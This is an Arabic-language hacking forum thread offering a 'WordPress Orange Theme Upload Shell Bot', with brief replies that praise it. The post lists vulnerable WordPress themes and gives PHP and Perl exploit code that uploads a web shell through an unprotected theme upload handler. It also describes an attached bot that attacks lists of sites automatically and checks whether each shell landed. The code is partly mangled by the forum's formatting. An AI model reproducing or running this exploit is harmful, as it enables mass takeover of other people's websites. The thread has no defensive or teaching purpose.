1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
الكاتب : MR.HASTER | المشاهدات : 720 | الردود : 4
حالة الموضوع:
مغلق
  1. MR.HASTER

    MR.HASTER Developer

    الأنتساب:
    ‏16 نوفمبر 2012
    المشاركات:
    55
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    [​IMG]
    Wordpress Orange Theme Upload Shell Bot

    فكرة الأداة :

    كما هو موضح في إسم الأداة هي عبارة علي إستغلال أوتوماتيكي لرفع شيل
    في مواقع الورد بريس من خلال ثغرة أبلود معروفة و متواجدة في عديد التيمات السكريب
    و تقريبا في أكثر من 60 تيم مصاب بهي الثغرة بعض التيمات المصابة

    [​IMG]

    كود PHP:
    agritourismo-theme
    bordeaux
    -theme    
    bulteno
    -theme
    oxygen
    -theme
    radial
    -theme
    rayoflight
    -theme
    reganto
    -theme
    rockstar
    -theme


    [​IMG]

    إستغلال للثغرة php & perl

    <?

    كود PHP:
    php
    $uploadfile
    ="EgyShell-Upload.php";
    $ch curl_init("http://[LocalHost]/wp-content/themes/[Theme Name]/functions/upload-handler.php");
    curl_setopt($chCURLOPT_POSTtrue);
    curl_setopt($chCURLOPT_POSTFIELDS,
            array(
    'orange_themes'=>"@$uploadfile"));
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    $postResult curl_exec($ch);
    curl_close($ch);
    print 
    "$postResult";
    ?>

    #!/usr/bin/perl
    use WWW::Mechanize;
    my $website = $ARGV[ 0 ];
    my $mech = new WWW::Mechanize(autocheck => 0);
            my $file = [
            'm-a.php',# The file you'd like to upload.
            'm-a.php',# The filename you'd like to give the web server.
            'Content-type' => 'text/plain'];
            $mech->post($website,
            'Content_Type' => 'form-data',
            'Content' => [ 'orange_themes' => $file ]
            );
    الأداة تعمل من خلال ليستت مواقع الورد بريس . تستختج التيمات الموجودة فيها
    بعدها تعمل إستغلال أوتوماتيكي و تجرب و تتحقق من إزا كان الشيل رفع أم لا و الشغل كلو بالثريد للسرعة في العمل صورة للأداة !!

    [​IMG]

    ملاحظة :
    فيك تغتر thread number من السورس الملفات الازمة مرفقة مع الأداة أي تغيير أو إضافة ممكن تعطل العمل

    كود PHP:
    wp-content/uploads/2014/01/
    لازم تغير العدد الشهري و السنة من السورس للتحقق
    الأداة في المرفقات

    الأداة مبرمجة منذ سنة تقريبا لهذا أي خطأ أو أي إستفسار بالخدمة
    في إصدار ثاني للأداة قريبا إ ن شاء الله

    تحياتي ~
    [​IMG]
     

    الملفات المرفقة:

    • bot.zip
      حجم الملف:
      2.5 ك. ب
      المشاهدات:
      27
  2. علي القناص

    علي القناص <span style="font-weight: bold; text-shadow: #BBBB V • I • P

    الأنتساب:
    ‏6 مارس 2014
    المشاركات:
    359
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    18
    نظام التشغيل:
    windows 8
    رد: Wordpress Orange Theme Upload Shell Bot

    عاشت الايادي استمر
     
  3. Ameer Eagle

    Ameer Eagle V • I • P

    الأنتساب:
    ‏7 يونيو 2014
    المشاركات:
    3,233
    الإعجابات المتلقاة:
    2,780
    نقاط الجائزة:
    113
    الجنس:
    ذكر
    الوظيفة:
    Student
    الإقامة:
    IraQ
    نظام التشغيل:
    windows 7
    رد: Wordpress Orange Theme Upload Shell Bot

    حلو حبي عاشت الايادي
     
  4. أمير عرش الدموع

    أمير عرش الدموع DeveloPer Plus

    الأنتساب:
    ‏25 يناير 2012
    المشاركات:
    111
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    18
    الإقامة:
    IRAQ
    رد: Wordpress Orange Theme Upload Shell Bot

    بارك الله فيك يا بطل

    واصل الإبداع

    بالتوفيق
     
  5. القرصان الصغير

    القرصان الصغير Developer

    الأنتساب:
    ‏31 أكتوبر 2012
    المشاركات:
    51
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    الرياض
    رد: Wordpress Orange Theme Upload Shell Bot

    يعطيك آلعافيهُ مآقصرتُ .
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة